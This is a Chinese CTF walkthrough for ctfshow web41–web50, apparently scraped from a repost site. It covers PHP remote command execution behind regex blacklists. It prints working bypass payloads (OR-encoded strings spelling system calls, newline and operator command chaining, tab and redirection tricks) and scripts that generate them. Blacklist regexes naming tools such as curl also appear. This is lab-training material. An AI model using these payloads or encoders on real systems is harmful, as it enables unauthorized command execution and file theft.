ctfshow web41-web50

web41

代码审计

<?php
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -

这次字母过滤了,字符不是很多

思路:通过特殊字符来构造字母从而实现代码执行

这里根据题目提示已经给了一篇博客

https://blog.csdn.net/miuzzx/article/details/108569080

第一个脚本运行结果是

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

解释一下是怎么得来的

eg:A %40 %01

十六进制的40=十进制的64=二进制0100 0000

十六进制的01=十进制的01=二进制0000 0001

二者进行或运算

0100 0000

0000 0001

0100 0001 等于十进制65

十进制65对应的ascii码中A

如构造一个 (system)('ls')("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

不理解的话可以具体去看一下这个网址带着的表

在线进制转换 - 码工具

运行结果

参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

找到了另一篇参考

下面可以直接修改ls

python脚本可以直接出编码,就不用手打了

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):t1 = ""t2 = ""for k in str1[p]:for i in range(256):for j in range(256):if re.search(pattern,chr(i)) :breakif re.search(pattern,chr(j)) :continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i=hex(i)[2:]if j < 16:hex_j="0"+hex(j)[2:]else:hex_j=hex(j)[2:]hex_i='%'+hex_ihex_j='%'+hex_jc=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))if(c ==k):t1=t1+hex_it2=t2+hex_jbreakelse:continuebreakprint("(\""+t1+"\"|\""+t2+"\")")

这里加了换行

用bp抓包

学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用

open browser试了一下成功了

转为 post 请求来传递一下参数 发给重发器

添加下面的参数,ls显示目录

(system)(ls)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

"system""cat flag.php"

(system)(cat flag.php)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}

小结一下这题:

由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg

理解了是怎么构造的,用脚本构造即可

bp抓包,用post构造参数,传参即可

参考资料:

CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

另一个参考资料的另一种方法有点看不懂

《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
web42

提示:

cat flag.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

代码分析:

system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上

直接用提示上的

方法1

?c=cat flag.php ||

没有回显,在源代码

/?c=cat flag.php ||

方法2

直接让拼接的命令换行。

/?c=cat flag.php %0a

方法3

更容易理解

执行/?c=ls无回显

执行/?c=ls;ls

叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了

/?c=tac flag.php;(tac反向输出)

此处主要是分号起到了分割的作用,与前面大同小异

原理:

>/dev/null 2>&1 命令简单理解 表示不回显。

/dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面

也就是c参数的所有返回结果是不显示的

Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

讲的更详细

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url 编码)将其分隔。

我的只有; || %0a能在源码中看到

web43

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat

方法1

可以看到提示:

nl flag.php%0a 查看源代码

确实出来了

/?c=nl flag.php%0a
/?c=nl flag.php%0a

换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

方法2

执行/?c=ls&&ls

用两个&起到命令分割的作用代替;

&& 前也就是第一个命令执行成功后才会执行第二个命令

第二个命令输出黑洞

用的时候要进行url编码

/?c=ls%26%26ls

/?c=tac flag.php%26%26ls
/?c=tac flag.php%26%26ls

ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
web44

提示:

nl fla*.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat flag

简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)

方法1:

使用提示的方法

/?c=nl fla*.php%0a

源码里有

方法2:

/?c=ls %26%26ls

(记得两个&&要进行url编码)

/?c=tac fla*.php %26%26 ls

方法3

/?c=tac fl''ag.php ||

web45

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了; cat flag 空格

直接试一下前面的方法(试了不行)

发现一个很好的思路:将空格进行url编码

空格对应的url编码是%20,试一下发现也不行

引入ascii码表的水平制表符

ASCII码一览表,ASCII码对照表

有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。

%09(tab)
/?c=tac%09fla*.php||

web46

提示

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了; cat flag 空格 [0-9] $ *

过滤了数字,编码方式就不行了

用提示的方法

/?c=nl%3Cfla''g.php||

%3C是<的url编码

/?c=nl%3Cfla''g.php||

源代码

到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?

解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。

在使用时,url会自动解码就没有数字了,解码后就是水平制表符

方法2

/?c=tac%09fl''ag.php||
/?c=tac%09fl''ag.php||

也可以fla? fl?g等

web47

提示:

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail

比web46多了一些文件读取命令,但未过滤tac

用web46的payload

/?c=tac%09fl''ag.php||

其他命令同理

web48

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

同web47,用web46的payload

/?c=tac%09fl''ag.php||

说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行

web49

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

这里虽然过滤了%,但我们的%09会被url解码为水平制表符

同web47,用web46的payload

/?c=tac%09fl''ag.php||

web50

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26

可以看到x09和%都被过滤了

/?c=tac<>fl''ag.php||
/?c=tac<>fl''ag.php||

/?c=nl<fl''ag.php||

小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/2999.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python自动化系统6

元素的特征:根据页面设计规则&#xff0c;有些特征是唯一 开发遵循了这个规则 id :类比身份证号―仅限于当前页面 username username 注意:如果id 不是固定的话&#xff0c;就不能使用来定位! xpath: 1、绝对路径&#xff1a;/html/body/div/div/div[1]/a/b --根节点&#xff…

初始Maven

1.背景 问题引入&#xff1a;为什么要使用 Maven&#xff1f; 1.1 添加第三方 jar 包 在 JavaEE 开发领域&#xff0c;有大量的第三方框架和工具可以供我们使用。使用这些 jar 包最简单的方法就是复制粘贴到 WEB-INF 目录中的 lib 目录下。但是会导致每次创建一个新工程就需要将…

基于python+django+mysql农业生产可视化系统

博主介绍&#xff1a; 大家好&#xff0c;本人精通Java、Python、C#、C、C编程语言&#xff0c;同时也熟练掌握微信小程序、Php和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我有丰富的成品Java、Python、C#毕设项目经验&#xff0c;能够为学生提供各类…

数据结构系列-堆排序当中的T-TOK问题

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” 之前我们讲到了堆排序的实现逻辑&#xff0c;那么接下来我们重点关注的就是其中的T-TOK问题 T-TOK说简单点&#xff0c;就是说&#xff0c;假如有10000个数据&#xff08;随机的…

Vue3后台管理系统推荐

目录 项目概述 &#x1f35f; 项目展示 功能特点 &#x1f957; 结语 &#x1f4a8; 项目概述 &#x1f35f; 基于Vue 3框架与Element-Plus UI组件库技术精心构建的后端管理模板。该模板系统已成功实现一个基础的权限管理模块&#xff0c;宗旨在于为追求高效二次开发的开发…

hsql数据库(HyperSQL )(简单了解一下)

文章目录 一、HyperSQL &#xff08;HSQLDB&#xff09;1、HSQLDB是什么2、安装事务提一嘴特点看官网Datagrip连接HSQLDBMaven地址使用场景 参考文章 一、HyperSQL &#xff08;HSQLDB&#xff09; 1、HSQLDB是什么 HSQLDB (Hyper SQL Database)是一个用Java编写的关系数据库管…

SpringBoot---------整合Mybatisplus

快速入门 第一步&#xff1a;导入依赖 <dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.3.1</version></dependency> 第二步&#xff1a;编写mapper…

【C++题解】1632. 需要几辆车

问题&#xff1a;1632. 需要几辆车 类型&#xff1a;分支 题目描述&#xff1a; 学校有 n 位同学要外出旅游&#xff0c;一辆大巴车可以坐 30 人&#xff0c;请问需要几辆大巴车&#xff1f; 输入&#xff1a; 一个整数 n&#xff0c;代表同学的总人数。 输出&#xff1a;…

明日方舟游戏助手:一键完成日常任务 | 开源日报 No.233

MaaAssistantArknights/MaaAssistantArknights Stars: 11.6k License: AGPL-3.0 MaaAssistantArknights 是一款《明日方舟》游戏的小助手&#xff0c;基于图像识别技术&#xff0c;支持一键完成全部日常任务。 刷理智、掉落识别及上传企鹅物流智能基建换班、自动计算干员效率…

STM32 串口打印乱码(Cubemx)

STM32 串口打印乱码&#xff08;Cubemx&#xff09; 时钟配置错误&#xff0c;CubeMX默认的外部晶振是25MHz&#xff0c;而板载的晶振为8MHzSTM32F407修改程序将外部25M晶振修改为8M&#xff08;标准库、HAL库&#xff09; 核心问题 芯片型号与晶振配置&#xff1a;使用的ST…

网络安全-Diffie Hellman密钥协商

密钥协商是保密通信双方&#xff08;或更多方&#xff09;通过公开信道来共同形成密钥的过程。一个密钥协商方案中&#xff0c;密钥的值是某个函数值&#xff0c;其输入量由两个成员&#xff08;或更多方&#xff09;来提供。密钥协商的记过是参与协商的双方&#xff08;或更多…

【linux】Linux第一个小程序-进度条

1. 预备知识&#xff1a;回车和换行 回车&#xff08;Carriage Return&#xff0c;CR&#xff09;&#xff1a; 在早期的机械打字机中&#xff0c;回车指的是将打字机的打印头移回到行首的操作&#xff0c;这样打印头就可以开始新的一行的打印。在ASCII编码中&#xff0c;回车用…

AIGC-stable-diffusion(文本生成图片)+PaddleHub/HuggingFace

功能 stable-diffusion(文本生成图片)PaddleHub&#xff0c;HuggingFace两种调用方式 PaddleHub 环境 pip install paddlepaddle-gpu pip install paddlehub 代码 from PIL import Image import paddlehub as hub module hub.Module(namestable_diffusion)## 保存在demo…

NXP恩智浦 S32G电源管理芯片 VR5510 安全概念 Safety Concept (万字长文详解,配21张彩图)

NXP恩智浦 S32G电源管理芯片 VR5510 安全概念 Safety Concept (万字长文详解&#xff0c;配21张彩图) 1. 简介 本应用笔记描述了与S32G处理器和VR5510 PMIC相关的安全概念。该文档涵盖了S32G和VR5510的安全功能以及它们如何相互作用&#xff0c;以确保对ASIL D安全完整性级别…

STM32,复位和时钟控制

外部时钟 HSE 以后需要用到什么就这样直接拿去配就行了

【文件上传与包含漏洞综合利用】DVWA-文件上传-难度:High

实验过程和结果 步骤1&#xff1a;尝试直接上传php木马&#xff0c;失败&#xff0c;截图如下&#xff1a; 步骤2&#xff1a;将php木马后缀改为jpeg尝试上传&#xff0c;依旧失败&#xff0c;截图如下&#xff1a; 步骤3&#xff1a;将真实的jpeg图片1.jpeg上传&#xff0c;成…

企业微信hook接口协议,ipad协议http,外部联系人图片视频文件下载

外部联系人文件下载 参数名必选类型说明file_id是StringCDNkeyopenim_cdn_authkey是String认证keyaes_key是Stringaes_keysize是int文件大小 请求示例 {"url": "https://imunion.weixin.qq.com/cgi-bin/mmae-bin/tpdownloadmedia?paramv1_e80c6c6c0cxxxx3544d9…

智慧火电厂合集 | 数字孪生助推能源革命

火电厂在发电领域中扮演着举足轻重的角色。主要通过燃烧如煤、石油或天然气等化石燃料来产生电力。尽管随着可再生能源技术的进步导致其比重有所减少&#xff0c;但直至 2023 年&#xff0c;火电依然是全球主要的电力来源之一。 通过图扑软件自主研发 HT for Web 产品&#xf…

[Algorithm][前缀和][和为K的子数组][和可被K整除的子数组][连续数组][矩阵区域和]详细讲解

目录 1.和为 K 的子数组1.题目链接2.算法原理详解3.代码实现 2.和可被 K 整除的子数组1.题目链接2.算法原理详解3.代码实现 3.连续数组1.题目链接2.算法原理详解3.代码实现 4.矩阵区域和1.题目链接2.算法原理详解3.代码实现 1.和为 K 的子数组 1.题目链接 和为 K 的子数组 2.…

牛客 题解

文章目录 day4_17**BC149** **简写单词**思路&#xff1a;模拟代码&#xff1a; dd爱框框思路&#xff1a;滑动窗口&#xff08;同向双指针&#xff09;代码&#xff1a; 除2&#xff01;思路&#xff1a;模拟贪心堆代码&#xff1a; day4_17 BC149 简写单词 https://www.now…